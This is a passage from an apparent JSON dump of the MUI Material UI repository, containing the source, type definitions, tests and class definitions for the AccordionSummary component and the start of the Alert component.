}\n>;\n\nexport interface AccordionSummaryOwnProps extends AccordionSummarySlotsAndSlotProps {\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<AccordionSummaryClasses> | undefined;\n  /**\n   * The icon to display as the expand indicator.\n   */\n  expandIcon?: React.ReactNode;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport type AccordionSummaryTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'div',\n> = ExtendButtonBaseTypeMap<{\n  props: AdditionalProps & AccordionSummaryOwnProps;\n  defaultComponent: RootComponent;\n}>;\n\nexport interface AccordionSummaryOwnerState extends Omit<\n  AccordionSummaryProps,\n  'slots' | 'slotProps'\n> {}\n\n/**\n *\n * Demos:\n *\n * - [Accordion](https://next.mui.com/material-ui/react-accordion/)\n *\n * API:\n *\n * - [AccordionSummary API](https://next.mui.com/material-ui/api/accordion-summary/)\n * - inherits [ButtonBase API](https://next.mui.com/material-ui/api/button-base/)\n */\ndeclare const AccordionSummary: ExtendButtonBase<AccordionSummaryTypeMap>;\n\nexport type AccordionSummaryProps<\n  RootComponent extends React.ElementType = AccordionSummaryTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<AccordionSummaryTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default AccordionSummary;\n"
  },
  {
    "path": "packages/mui-material/src/AccordionSummary/AccordionSummary.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport ButtonBase from '../ButtonBase';\nimport AccordionContext from '../Accordion/AccordionContext';\nimport accordionSummaryClasses, {\n  getAccordionSummaryUtilityClass,\n} from './accordionSummaryClasses';\nimport useSlot from '../utils/useSlot';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, expanded, disabled, disableGutters } = ownerState;\n\n  const slots = {\n    root: ['root', expanded && 'expanded', disabled && 'disabled', !disableGutters && 'gutters'],\n    focusVisible: ['focusVisible'],\n    content: ['content', expanded && 'expanded'],\n    expandIconWrapper: ['expandIconWrapper', expanded && 'expanded'],\n  };\n\n  return composeClasses(slots, getAccordionSummaryUtilityClass, classes);\n};\n\nconst AccordionSummaryRoot = styled(ButtonBase, {\n  name: 'MuiAccordionSummary',\n  slot: 'Root',\n})(\n  memoTheme(({ theme }) => {\n    const transition = {\n      duration: theme.transitions.duration.shortest,\n    };\n\n    return {\n      display: 'flex',\n      width: '100%',\n      minHeight: 48,\n      padding: theme.spacing(0, 2),\n      transition: theme.transitions.create(['min-height', 'background-color'], transition),\n      [`&.${accordionSummaryClasses.focusVisible}`]: {\n        backgroundColor: (theme.vars || theme).palette.action.focus,\n      },\n      [`&.${accordionSummaryClasses.disabled}`]: {\n        opacity: (theme.vars || theme).palette.action.disabledOpacity,\n      },\n      [`&:hover:not(.${accordionSummaryClasses.disabled})`]: {\n        cursor: 'pointer',\n      },\n      variants: [\n        {\n          props: (props) => !props.disableGutters,\n          style: {\n            [`&.${accordionSummaryClasses.expanded}`]: {\n              minHeight: 64,\n            },\n          },\n        },\n      ],\n    };\n  }),\n);\n\nconst AccordionSummaryContent = styled('span', {\n  name: 'MuiAccordionSummary',\n  slot: 'Content',\n})(\n  memoTheme(({ theme }) => ({\n    display: 'flex',\n    textAlign: 'start',\n    flexGrow: 1,\n    margin: '12px 0',\n    variants: [\n      {\n        props: (props) => !props.disableGutters,\n        style: {\n          transition: theme.transitions.create(['margin'], {\n            duration: theme.transitions.duration.shortest,\n          }),\n          [`&.${accordionSummaryClasses.expanded}`]: {\n            margin: '20px 0',\n          },\n        },\n      },\n    ],\n  })),\n);\n\nconst AccordionSummaryExpandIconWrapper = styled('span', {\n  name: 'MuiAccordionSummary',\n  slot: 'ExpandIconWrapper',\n})(\n  memoTheme(({ theme }) => ({\n    display: 'flex',\n    color: (theme.vars || theme).palette.action.active,\n    transform: 'rotate(0deg)',\n    transition: theme.transitions.create('transform', {\n      duration: theme.transitions.duration.shortest,\n    }),\n    [`&.${accordionSummaryClasses.expanded}`]: {\n      transform: 'rotate(180deg)',\n    },\n  })),\n);\n\nconst AccordionSummary = React.forwardRef(function AccordionSummary(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiAccordionSummary' });\n  const {\n    children,\n    className,\n    expandIcon,\n    focusVisibleClassName,\n    onClick,\n    slots,\n    slotProps,\n    ...other\n  } = props;\n\n  const { disabled = false, disableGutters, expanded, toggle } = React.useContext(AccordionContext);\n  const handleChange = (event) => {\n    if (toggle) {\n      toggle(event);\n    }\n    if (onClick) {\n      onClick(event);\n    }\n  };\n\n  const ownerState = {\n    ...props,\n    expanded,\n    disabled,\n    disableGutters,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const externalForwardedProps = {\n    slots,\n    slotProps,\n  };\n\n  const [RootSlot, rootSlotProps] = useSlot('root', {\n    ref,\n    shouldForwardComponentProp: true,\n    className: clsx(classes.root, className),\n    elementType: AccordionSummaryRoot,\n    externalForwardedProps: {\n      ...externalForwardedProps,\n      ...other,\n    },\n    ownerState,\n    additionalProps: {\n      focusRipple: false,\n      disableRipple: true,\n      internalNativeButton: true,\n      disabled,\n      'aria-expanded': expanded,\n      focusVisibleClassName: clsx(classes.focusVisible, focusVisibleClassName),\n    },\n    getSlotProps: (handlers) => ({\n      ...handlers,\n      onClick: (event) => {\n        handlers.onClick?.(event);\n        handleChange(event);\n      },\n    }),\n  });\n\n  const [ContentSlot, contentSlotProps] = useSlot('content', {\n    className: classes.content,\n    elementType: AccordionSummaryContent,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  const [ExpandIconWrapperSlot, expandIconWrapperSlotProps] = useSlot('expandIconWrapper', {\n    className: classes.expandIconWrapper,\n    elementType: AccordionSummaryExpandIconWrapper,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  return (\n    <RootSlot {...rootSlotProps}>\n      <ContentSlot {...contentSlotProps}>{children}</ContentSlot>\n      {expandIcon && (\n        <ExpandIconWrapperSlot {...expandIconWrapperSlotProps}>{expandIcon}</ExpandIconWrapperSlot>\n      )}\n    </RootSlot>\n  );\n});\n\nAccordionSummary.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The icon to display as the expand indicator.\n   */\n  expandIcon: PropTypes.node,\n  /**\n   * This prop can help identify which element has keyboard focus.\n   * The class name will be applied when the element gains the focus through keyboard interaction.\n   * It's a polyfill for the [CSS :focus-visible selector](https://drafts.csswg.org/selectors-4/#the-focus-visible-pseudo).\n   * The rationale for using this feature [is explained here](https://github.com/WICG/focus-visible/blob/HEAD/explainer.md).\n   * A [polyfill can be used](https://github.com/WICG/focus-visible) to apply a `focus-visible` class to other components\n   * if needed.\n   */\n  focusVisibleClassName: PropTypes.string,\n  /**\n   * @ignore\n   */\n  onClick: PropTypes.func,\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    content: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    expandIconWrapper: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    root: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    content: PropTypes.elementType,\n    expandIconWrapper: PropTypes.elementType,\n    root: PropTypes.elementType,\n  }),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default AccordionSummary;\n"
  },
  {
    "path": "packages/mui-material/src/AccordionSummary/AccordionSummary.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { spy } from 'sinon';\nimport { act, createRenderer, fireEvent, screen, isJsdom } from '@mui/internal-test-utils';\nimport AccordionSummary, {\n  accordionSummaryClasses as classes,\n} from '@mui/material/AccordionSummary';\nimport Accordion from '@mui/material/Accordion';\nimport ButtonBase from '@mui/material/ButtonBase';\nimport describeConformance from '../../test/describeConformance';\n\nconst CustomButtonBase = React.forwardRef(({ focusVisible, ...props }, ref) => (\n  <ButtonBase ref={ref} {...props} />\n));\n\ndescribe('<AccordionSummary />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<AccordionSummary expandIcon=\"expand\" />, () => ({\n    classes,\n    inheritComponent: ButtonBase,\n    render,\n    refInstanceof: window.HTMLButtonElement,\n    muiName: 'MuiAccordionSummary',\n    testVariantProps: { disabled: true },\n    testDeepOverrides: { slotName: 'content', slotClassName: classes.content },\n    slots: {\n      root: {\n        expectedClassName: classes.root,\n        testWithElement: CustomButtonBase,\n      },\n      content: {\n        expectedClassName: classes.content,\n      },\n      expandIconWrapper: {\n        expectedClassName: classes.expandIconWrapper,\n      },\n    },\n  }));\n\n  it('renders the children inside the .content element', () => {\n    const { container } = render(<AccordionSummary>The Summary</AccordionSummary>);\n\n    expect(container.querySelector(`.${classes.content}`)).to.have.text('The Summary');\n  });\n\n  it('when disabled should have disabled class', () => {\n    render(\n      <Accordion disabled>\n        <AccordionSummary />\n      </Accordion>,\n    );\n\n    expect(screen.getByRole('button')).to.have.class(classes.disabled);\n  });\n\n  it('renders the content given in expandIcon prop inside the div.expandIconWrapper', () => {\n    const { container } = render(<AccordionSummary expandIcon=\"iconElementContentExample\" />);\n\n    const expandIconWrapper = container.querySelector(`.${classes.expandIconWrapper}`);\n    expect(expandIconWrapper).to.have.text('iconElementContentExample');\n  });\n\n  it('when expanded adds the expanded class to the button and .expandIconWrapper', () => {\n    const { container } = render(\n      <Accordion expanded>\n        <AccordionSummary expandIcon=\"expand\" />\n      </Accordion>,\n    );\n\n    const button = screen.getByRole('button');\n    expect(button).to.have.class(classes.expanded);\n    expect(button).to.have.attribute('aria-expanded', 'true');\n    expect(container.querySelector(`.${classes.expandIconWrapper}`)).to.have.class(\n      classes.expanded,\n    );\n  });\n\n  it('should fire onBlur when the button blurs', () => {\n    const handleBlur = spy();\n    render(<AccordionSummary onBlur={handleBlur} />);\n    const button = screen.getByRole('button');\n\n    act(() => {\n      button.focus();\n      button.blur();\n    });\n\n    expect(handleBlur.callCount).to.equal(1);\n  });\n\n  it('should fire onClick callbacks', () => {\n    const handleClick = spy();\n    render(<AccordionSummary onClick={handleClick} />);\n\n    screen.getByRole('button').click();\n\n    expect(handleClick.callCount).to.equal(1);\n  });\n\n  it('fires onChange of the Accordion if clicked', () => {\n    const handleChange = spy();\n\n    render(\n      <Accordion onChange={handleChange} expanded={false}>\n        <AccordionSummary />\n      </Accordion>,\n    );\n\n    act(() => {\n      screen.getByRole('button').click();\n    });\n\n    expect(handleChange.callCount).to.equal(1);\n  });\n\n  // JSDOM doesn't support :focus-visible\n  it.skipIf(isJsdom())('calls onFocusVisible if focused visibly', function test() {\n    const handleFocusVisible = spy();\n    render(<AccordionSummary onFocusVisible={handleFocusVisible} />);\n    // simulate pointer device\n    fireEvent.mouseDown(document.body);\n\n    // this doesn't actually apply focus like in the browser. we need to move focus manually\n    fireEvent.keyDown(document.body, { key: 'Tab' });\n    act(() => {\n      screen.getByRole('button').focus();\n    });\n\n    expect(handleFocusVisible.callCount).to.equal(1);\n  });\n\n  describe('prop: nativeButton', () => {\n    it('forwards nativeButton={false} through useSlot to ButtonBase', () => {\n      const CustomSpan = React.forwardRef((props, ref) => <span ref={ref} {...props} />);\n      const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});\n\n      render(\n        <Accordion>\n          <AccordionSummary component={CustomSpan} nativeButton={false} />\n        </Accordion>,\n      );\n\n      const summary = screen.getByRole('button');\n      expect(summary).to.have.tagName('SPAN');\n      expect(summary).to.have.attribute('aria-expanded', 'false');\n      expect(summary).not.to.have.attribute('type');\n\n      // Proves nativeButton={false} was forwarded — without it, ButtonBase\n      // would warn about a non-button host with nativeButton omitted.\n      expect(errorSpy.mock.calls.length).to.equal(0);\n      errorSpy.mockRestore();\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/AccordionSummary/accordionSummaryClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface AccordionSummaryClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** State class applied to the root element, children wrapper element and `IconButton` component if `expanded={true}`. */\n  expanded: string;\n  /** State class applied to the ButtonBase root element if the button is keyboard focused. */\n  focusVisible: string;\n  /** State class applied to the root element if `disabled={true}`. */\n  disabled: string;\n  /** Styles applied to the root element unless `disableGutters={true}`. */\n  gutters: string;\n  /** Styles applied to the children wrapper element. */\n  content: string;\n  /** Styles applied to the `expandIcon`'s wrapper element. */\n  expandIconWrapper: string;\n}\n\nexport type AccordionSummaryClassKey = keyof AccordionSummaryClasses;\n\nexport function getAccordionSummaryUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiAccordionSummary', slot);\n}\n\nconst accordionSummaryClasses: AccordionSummaryClasses = generateUtilityClasses(\n  'MuiAccordionSummary',\n  ['root', 'expanded', 'focusVisible', 'disabled', 'gutters', 'content', 'expandIconWrapper'],\n);\n\nexport default accordionSummaryClasses;\n"
  },
  {
    "path": "packages/mui-material/src/AccordionSummary/index.d.ts",
    "content": "export { default } from './AccordionSummary';\nexport * from './AccordionSummary';\n\nexport { default as accordionSummaryClasses } from './accordionSummaryClasses';\nexport * from './accordionSummaryClasses';\n"
  },
  {
    "path": "packages/mui-material/src/AccordionSummary/index.js",
    "content": "export { default } from './AccordionSummary';\n\nexport { default as accordionSummaryClasses } from './accordionSummaryClasses';\nexport * from './accordionSummaryClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Alert/Alert.d.ts",
    "content": "import * as React from 'react';\nimport { OverridableStringUnion } from '@mui/types';\nimport { SxProps } from '@mui/system';\nimport { SvgIconProps } from '../SvgIcon';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { IconButtonProps } from '../IconButton';\nimport { PaperProps } from '../Paper';\nimport { AlertClasses } from './alertClasses';\nimport { CreateSlotsAndSlotProps, SlotProps } from '../utils/types';\n\nexport type AlertColor = 'success' | 'info' | 'warning' | 'error';\n\nexport interface AlertPropsVariantOverrides {}\nexport interface AlertPropsColorOverrides {}\n\nexport interface AlertRootSlotPropsOverrides {}\n\nexport interface AlertIconSlotPropsOverrides {}\n\nexport interface AlertMessageSlotPropsOverrides {}\n\nexport interface AlertActionSlotPropsOverrides {}\n\nexport interface AlertCloseButtonSlotPropsOverrides {}\nexport interface AlertCloseIconSlotPropsOverrides {}\n\nexport interface AlertSlots {\n  /**\n   * The component that renders the root slot.\n   * @default Paper\n   */\n  root: React.ElementType;\n  /**\n   * The component that renders the icon slot.\n   * @default div\n   */\n  icon: React.ElementType;\n  /**\n   * The component that renders the message slot.\n   * @default div\n   */\n  message: React.ElementType;\n  /**\n   * The component that renders the action slot.\n   * @default div\n   */\n  action: React.ElementType;\n  /**\n   * The component that renders the close button.\n   * @default IconButton\n   */\n  closeButton: React.ElementType;\n  /**\n   * The component that renders the close icon.\n   * @default svg\n   */\n  closeIcon: React.ElementType;\n}\n\nexport type AlertSlotsAndSlotProps = CreateSlotsAndSlotProps<\n  AlertSlots,\n  {\n    /**\n     * Props forwarded to the root slot.\n     * By default, the available props are based on the [Paper](https://mui.com/material-ui/api/paper/#props) component.\n     */\n    root: SlotProps<React.ElementType<PaperProps>, AlertRootSlotPropsOverrides, AlertOwnerState>;\n    /**\n     * Props forwarded to the icon slot.\n     * By default, the available props are based on a div element.\n     */\n    icon: SlotProps<'div', AlertIconSlotPropsOverrides, AlertOwnerState>;\n    /**\n     * Props forwarded to the message slot.\n     * By default, the available props are based on a div element.\n     */\n    message: SlotProps<'div', AlertMessageSlotPropsOverrides, AlertOwnerState>;\n    /**\n     * Props forwarded to the action slot.\n     * By default, the available props are based on a div element.\n     */\n    action: SlotProps<'div', AlertActionSlotPropsOverrides, AlertOwnerState>;\n    /**\n     * Props forwarded to the closeButton slot.\n     * By default, the available props are based on the [IconButton](https://mui.com/material-ui/api/icon-button/#props) component.\n     */\n    closeButton: SlotProps<\n      React.ElementType<IconButtonProps>,\n      AlertCloseButtonSlotPropsOverrides,\n      AlertOwnerState\n    >;\n    /**\n     * Props forwarded to the closeIcon slot.\n     * By default, the available props are based on the [SvgIcon](https://mui.com/material-ui/api/svg-icon/#props) component.\n     */\n    closeIcon: SlotProps<\n      React.ElementType<SvgIconProps>,\n      AlertCloseIconSlotPropsOverrides,\n      AlertOwnerState\n    >;\n  }\n>;\n\nexport interface AlertProps extends StandardProps<PaperProps, 'variant'>, AlertSlotsAndSlotProps {\n  /**\n   * The action to display. It renders after the message, at the end of the alert.\n   */\n  action?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<AlertClasses> | undefined;\n  /**\n   * Override the default label for the *close popup* icon button.\n   *\n   * For localization purposes, you can use the provided [translations](https://mui.com/material-ui/guides/localization/).\n   * @default 'Close'\n   */\n  closeText?: string | undefined;\n  /**\n   * The color of the component. Unless provided, the value is taken from the `severity` prop.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   */\n  color?: OverridableStringUnion<AlertColor, AlertPropsColorOverrides> | undefined;\n  /**\n   * The severity of the alert. This defines the color and icon used.\n   * @default 'success'\n   */\n  severity?: OverridableStringUnion<AlertColor, AlertPropsColorOverrides> | undefined;\n  /**\n   * Override the icon displayed before the children.\n   * Unless provided, the icon is mapped to the value of the `severity` prop.\n   * Set to `false` to remove the `icon`.\n   */\n  icon?: React.ReactNode;\n  /**\n   * The ARIA role attribute of the element.\n   * @default 'alert'\n   */\n  role?: string | undefined;\n  /**\n   * The component maps the `severity` prop to a range of different icons,\n   * for instance success to `<SuccessOutlined>`.\n   * If you wish to change this mapping, you can provide your own.\n   * Alternatively, you can use the `icon` prop to override the icon displayed.\n   */\n  iconMapping?:\n    | Partial<Record<OverridableStringUnion<AlertColor, AlertPropsColorOverrides>, React.ReactNode>>\n    | undefined;\n  /**\n   * Callback fired when the component requests to be closed.\n   * When provided and no `action` prop is set, a close icon button is displayed that triggers the callback when clicked.\n   * @param {React.SyntheticEvent} event The event source of the callback.\n   */\n  onClose?: ((event: React.SyntheticEvent) => void) | undefined;\n  /**\n   * The variant to use.\n   * @default 'standard'\n   */\n  variant?:\n    | OverridableStringUnion<'standard' | 'filled' | 'outlined', AlertPropsVariantOverrides>\n    | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface AlertOwnerState extends AlertProps {}\n\n/**\n *\n * Demos:\n *\n * - [Alert](https://next.mui.com/material-ui/react-alert/)\n *\n * API:\n *\n * - [Alert API](https://next.mui.com/material-ui/api/alert/)\n * - inherits [Paper API](https://next.mui.com/material-ui/api/paper/)\n */\nexport default function Alert(props: AlertProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/Alert/Alert.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport useSlot from '../utils/useSlot';\nimport capitalize from '../utils/capitalize';\nimport createSimplePaletteValueFilter from '../utils/createSimplePaletteValueFilter';\nimport Paper from '../Paper';\nimport alertClasses, { getAlertUtilityClass } from './alertClasses';\nimport IconButton from '../IconButton';\nimport SuccessOutlinedIcon from '../internal/svg-icons/SuccessOutlined';\nimport ReportProblemOutlinedIcon from '../internal/svg-icons/ReportProblemOutlined';\nimport ErrorOutlineIcon from '../internal/svg-icons/ErrorOutline';\nimport InfoOutlinedIcon from '../internal/svg-icons/InfoOutlined';\nimport CloseIcon from '../internal/svg-icons/Close';\n\nconst useUtilityClasses = (ownerState) => {\n  const { variant, color, severity, classes } = ownerState;\n\n  const slots = {\n    root: ['root', `color${capitalize(color || severity)}`, `${variant}`],\n    icon: ['icon'],\n    message: ['message'],\n    action: ['action'],\n  };\n\n  return composeClasses(slots, getAlertUtilityClass, classes);\n};\n\nconst AlertRoot = styled(Paper, {\n  name: 'MuiAlert',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [styles.root, styles[ownerState.variant]];\n  },\n})(\n  memoTheme(({ theme }) => {\n    const getColor = theme.palette.mode === 'light' ? theme.darken : theme.lighten;\n    const getBackgroundColor = theme.palette.mode === 'light' ? theme.lighten : theme.darken;\n    return {\n      ...theme.typography.body2,\n      backgroundColor: 'transparent',\n      display: 'flex',\n      padding: '6px 16px',\n      variants: [\n        ...Object.entries(theme.palette)\n          .filter(createSimplePaletteValueFilter(['light']))\n          .map(([color]) => ({\n            props: { colorSeverity: color, variant: 'standard' },\n            style: {\n              color: theme.vars\n                ? theme.vars.palette.Alert[`${color}Color`]\n                : getColor(theme.palette[color].light, 0.6),\n              backgroundColor: theme.vars\n                ? theme.vars.palette.Alert[`${color}StandardBg`]\n                : getBackgroundColor(theme.palette[color].light, 0.9),\n              [`& .${alertClasses.icon}`]: theme.vars\n                ? { color: theme.vars.palette.Alert[`${color}IconColor`] }\n                : {\n                    color: theme.palette[color].main,\n                  },\n            },\n          })),\n        ...Object.entries(theme.palette)\n          .filter(createSimplePaletteValueFilter(['light']))\n          .map(([color]) => ({\n            props: { colorSeverity: color, variant: 'outlined' },\n            style: {\n              color: theme.vars\n                ? theme.vars.palette.Alert[`${color}Color`]\n                : getColor(theme.palette[color].light, 0.6),\n              border: `1px solid ${(theme.vars || theme).palette[color].light}`,\n              [`& .${alertClasses.icon}`]: theme.vars\n                ? { color: theme.vars.palette.Alert[`${color}IconColor`] }\n                : {\n                    color: theme.palette[color].main,\n                  },\n            },\n          })),\n        ...Object.entries(theme.palette)\n          .filter(createSimplePaletteValueFilter(['dark']))\n          .map(([color]) => ({\n            props: { colorSeverity: color, variant: 'filled' },\n            style: {\n              fontWeight: theme.typography.fontWeightMedium,\n              ...(theme.vars\n                ? {\n                    color: theme.vars.palette.Alert[`${color}FilledColor`],\n                    backgroundColor: theme.vars.palette.Alert[`${color}FilledBg`],\n                  }\n                : {\n                    backgroundColor:\n                      theme.palette.mode === 'dark'\n                        ? theme.palette[color].dark\n                        : theme.palette[color].main,\n                    color: theme.palette.getContrastText(theme.palette[color].main),\n                  }),\n            },\n          })),\n      ],\n    };\n  }),\n);\n\nconst AlertIcon = styled('div', {\n  name: 'MuiAlert',\n  slot: 'Icon',\n})({\n  marginRight: 12,\n  padding: '7px 0',\n  display: 'flex',\n  fontSize: 22,\n  opacity: 0.9,\n});\n\nconst AlertMessage = styled('div', {\n  name: 'MuiAlert',\n  slot: 'Message',\n})({\n  padding: '8px 0',\n  minWidth: 0,\n  overflow: 'auto',\n});\n\nconst AlertAction = styled('div', {\n  name: 'MuiAlert',\n  slot: 'Action',\n})({\n  display: 'flex',\n  alignItems: 'flex-start',\n  padding: '4px 0 0 16px',\n  marginLeft: 'auto',\n  marginRight: -8,\n});\n\nconst defaultIconMapping = {\n  success: <SuccessOutlinedIcon fontSize=\"inherit\" />,\n  warning: <ReportProblemOutlinedIcon fontSize=\"inherit\" />,\n  error: <ErrorOutlineIcon fontSize=\"inherit\" />,\n  info: <InfoOutlinedIcon fontSize=\"inherit\" />,\n};\n\nconst Alert = React.forwardRef(function Alert(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiAlert' });\n  const {\n    action,\n    children,\n    className,\n    closeText = 'Close',\n    color,\n    icon,\n    iconMapping = defaultIconMapping,\n    onClose,\n    role = 'alert',\n    severity = 'success',\n    slotProps = {},\n    slots = {},\n    variant = 'standard',\n    ...other\n  } = props;\n\n  const ownerState = {\n    ...props,\n    color,\n    severity,\n    variant,\n    colorSeverity: color || severity,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const externalForwardedProps = {\n    slots,\n    slotProps,\n  };\n\n  const [RootSlot, rootSlotProps] = useSlot('root', {\n    ref,\n    shouldForwardComponentProp: true,\n    className: clsx(classes.root, className),\n    elementType: AlertRoot,\n    externalForwardedProps: {\n      ...externalForwardedProps,\n      ...other,\n    },\n    ownerState,\n    additionalProps: {\n      role,\n      elevation: 0,\n    },\n  });\n\n  const [IconSlot, iconSlotProps] = useSlot('icon', {\n    className: classes.icon,\n    elementType: AlertIcon,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  const [MessageSlot, messageSlotProps] = useSlot('message', {\n    className: classes.message,\n    elementType: AlertMessage,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  const [ActionSlot, actionSlotProps] = useSlot('action', {\n    className: classes.action,\n    elementType: AlertAction,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  const [CloseButtonSlot, closeButtonProps] = useSlot('closeButton', {\n    elementType: IconButton,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  const [CloseIconSlot, closeIconProps] = useSlot('closeIcon', {\n    elementType: CloseIcon,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  return (\n    <RootSlot {...rootSlotProps}>\n      {icon !== false ? (\n        <IconSlot {...iconSlotProps}>\n          {icon || iconMapping[severity] || defaultIconMapping[severity]}\n        </IconSlot>\n      ) : null}\n      <MessageSlot {...messageSlotProps}>{children}</MessageSlot>\n      {action != null ? <ActionSlot {...actionSlotProps}>{action}</ActionSlot> : null}\n      {action == null && onClose ? (\n        <ActionSlot {...actionSlotProps}>\n          <CloseButtonSlot\n            size=\"small\"\n            aria-label={closeText}\n            title={closeText}\n            color=\"inherit\"\n            onClick={onClose}\n            {...closeButtonProps}\n          >\n            <CloseIconSlot fontSize=\"small\" {...closeIconProps} />\n          </CloseButtonSlot>\n        </ActionSlot>\n      ) : null}\n    </RootSlot>\n  );\n});\n\nAlert.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The action to display. It renders after the message, at the end of the alert.\n   */\n  action: PropTypes.node,\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * Override the default label for the *close popup* icon button.\n   *\n   * For localization purposes, you can use the provided [translations](https://mui.com/material-ui/guides/localization/).\n   * @default 'Close'\n   */\n  closeText: PropTypes.string,\n  /**\n   * The color of the component. Unless provided, the value is taken from the `severity` prop.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   */\n  color: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['error', 'info', 'success', 'warning']),\n    PropTypes.string,\n  ]),\n  /**\n   * Override the icon displayed before the children.\n   * Unless provided, the icon is mapped to the value of the `severity` prop.\n   * Set to `false` to remove the `icon`.\n   */\n  icon: PropTypes.node,\n  /**\n   * The component maps the `severity` prop to a range of different icons,\n   * for instance success to `<SuccessOutlined>`.\n   * If you wish to change this mapping, you can provide your own.\n   * Alternatively, you can use the `icon` prop to override the icon displayed.\n   */\n  iconMapping: PropTypes.shape({\n    error: PropTypes.node,\n    info: PropTypes.node,\n    success: PropTypes.node,\n    warning: PropTypes.node,\n  }),\n  /**\n   * Callback fired when the component requests to be closed.\n   * When provided and no `action` prop is set, a close icon button is displayed that triggers the callback when clicked.\n   * @param {React.SyntheticEvent} event The event source of the callback.\n   */\n  onClose: PropTypes.func,\n  /**\n   * The ARIA role attribute of the element.\n   * @default 'alert'\n   */\n  role: PropTypes.string,\n  /**\n   * The severity of the alert. This defines the color and icon used.\n   * @default 'success'\n   */\n  severity: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['error', 'info', 'success', 'warning']),\n    PropTypes.string,\n  ]),\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    action: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    closeButton: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    closeIcon: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    icon: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    message: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    root: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    action: PropTypes.elementType,\n    closeButton: PropTypes.elementType,\n    closeIcon: PropTypes.elementType,\n    icon: PropTypes.elementType,\n    message: 